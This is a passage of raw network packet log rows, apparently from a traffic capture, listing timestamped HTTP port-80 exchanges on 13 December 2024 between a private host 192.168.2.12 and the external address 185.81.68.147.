Dec 13, 2024 07:49:25.627640009 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.627661943 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.627679110 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.627715111 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.627727032 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.627739906 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.627840996 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.628176928 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.628230095 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.628256083 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.628279924 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.628290892 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.628315926 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.628340006 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.628381014 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.628433943 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.628448963 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.628521919 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.629096031 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.629126072 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.629146099 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.629173994 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.629201889 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.629249096 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.629261017 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.629282951 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.629297972 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.629302979 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.629326105 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.629415989 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.629440069 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.629451990 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.629463911 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.629488945 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.629501104 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.629514933 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.629519939 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.629578114 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.629590034 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.629601002 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.630074024 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.630089045 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.630111933 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.630125046 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.630139112 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.630173922 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.630186081 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.630233049 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.630244970 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.630628109 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.630640030 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.630661964 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.630672932 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.630717039 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.630728960 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.630769968 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.630780935 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.630791903 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.630809069 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.630831003 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.630875111 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.630887032 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.630901098 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.631373882 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.631398916 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.631412029 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.631423950 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.631448984 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.631460905 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.631479979 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.631501913 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.631513119 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.631558895 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.631570101 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.631586075 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.632247925 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.632261038 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.632282972 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.632293940 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.632329941 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.632342100 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.632354021 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.632375956 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.632388115 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.632410049 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.632421970 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.632435083 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.632494926 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.632507086 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.632529020 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.632539988 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.632586002 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.632597923 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.632635117 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.633018017 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.633030891 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.633044958 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.633075953 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.633110046 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.633148909 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.633244991 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.633258104 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.633616924 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.633651972 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.633663893 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.633732080 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.633810043 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.633815050 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.633821011 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.633832932 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.633843899 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.633856058 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.633867025 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.633932114 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.633944035 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.633955956 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.633966923 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.634243011 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.634255886 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.634279013 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.634295940 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.634298086 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.634300947 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.634315014 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.634335995 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.634347916 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.634358883 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.634382963 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.634394884 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.634407997 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.634429932 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.634442091 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.634865999 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.634922981 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.634936094 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.634978056 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.634989977 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.635001898 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.635013103 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.635035038 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.635046005 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.635056973 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.635432005 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.635457039 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.635487080 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.635509968 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.635524035 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.635644913 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.635658026 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.635668993 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.636087894 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.636101961 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.636115074 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.636137962 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.636552095 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.636576891 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.636588097 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.636692047 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.636703968 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.636714935 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.636727095 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.636739016 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.636750937 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.636763096 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.636774063 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.636785984 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.636795998 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.636817932 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.636828899 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.636840105 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.636851072 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.637048960 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.637125969 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.637137890 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.637150049 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.637161016 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.637182951 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.637193918 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.637229919 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.637242079 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.637259960 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.637281895 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.637294054 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.637306929 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.637658119 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.637743950 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.637757063 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.637768030 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.637814045 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.637825966 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.637837887 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.637850046 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.637861013 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.637868881 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.637893915 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.637907028 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.638223886 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.638248920 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.638261080 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.638298035 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.638310909 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.638408899 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.638422966 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.638448954 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.638461113 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.638473988 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.638566017 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.638627052 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.638653040 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.638668060 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.638694048 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.638735056 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.638904095 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.638955116 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.638967037 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.638999939 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.639012098 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.639024019 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.220967054 CET	49711	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.221273899 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.340713978 CET	80	49711	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.340913057 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.341228008 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.341228008 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.341423035 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.341423035 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.341495991 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.341495991 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.341547966 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.341547966 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.341595888 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.341595888 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.341648102 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.341648102 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.341701031 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.341701031 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.341757059 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.341757059 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.341804981 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.341804981 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.341850042 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.341886044 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.341886044 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.341933966 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.341933966 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.341984034 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.341984034 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.342035055 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.342035055 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.342087984 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.342087984 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.342118025 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.342168093 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.342168093 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.342217922 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.342217922 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.342267036 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.342267036 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.342300892 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.342324972 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.342366934 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.342366934 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.342397928 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.342444897 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.342444897 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.342499971 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.342499971 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.342526913 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.342572927 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.342572927 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.342623949 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.342623949 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.342669964 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.342669964 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.342717886 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.342741966 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.342773914 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.342773914 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.342827082 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.342827082 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.342875957 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.342911005 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.342911005 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.342950106 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.342988014 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.342988014 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.343030930 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.343053102 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.343072891 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.343121052 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.343121052 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.343173027 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.343173027 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.343221903 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.343221903 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.343250990 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.343301058 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.343301058 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.343338013 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.343364000 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.343403101 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.343403101 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.343458891 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.343458891 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.343502045 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.343502045 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.343555927 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.343555927 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.343585014 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.343616962 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.343642950 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.343682051 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.343691111 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.343740940 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.343740940 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.343770981 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.343796015 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.343818903 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.343849897 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.343849897 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.343883991 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.343911886 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.343954086 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.343954086 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.344007015 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.344007015 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.344059944 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.344059944 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.344110012 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.344110012 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.344151020 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.344175100 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.344202042 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.344238043 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.344238043 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.344290972 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.344290972 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.344343901 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.344343901 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.344394922 CET	49723	80	192.168.2.12	185.81.68.147
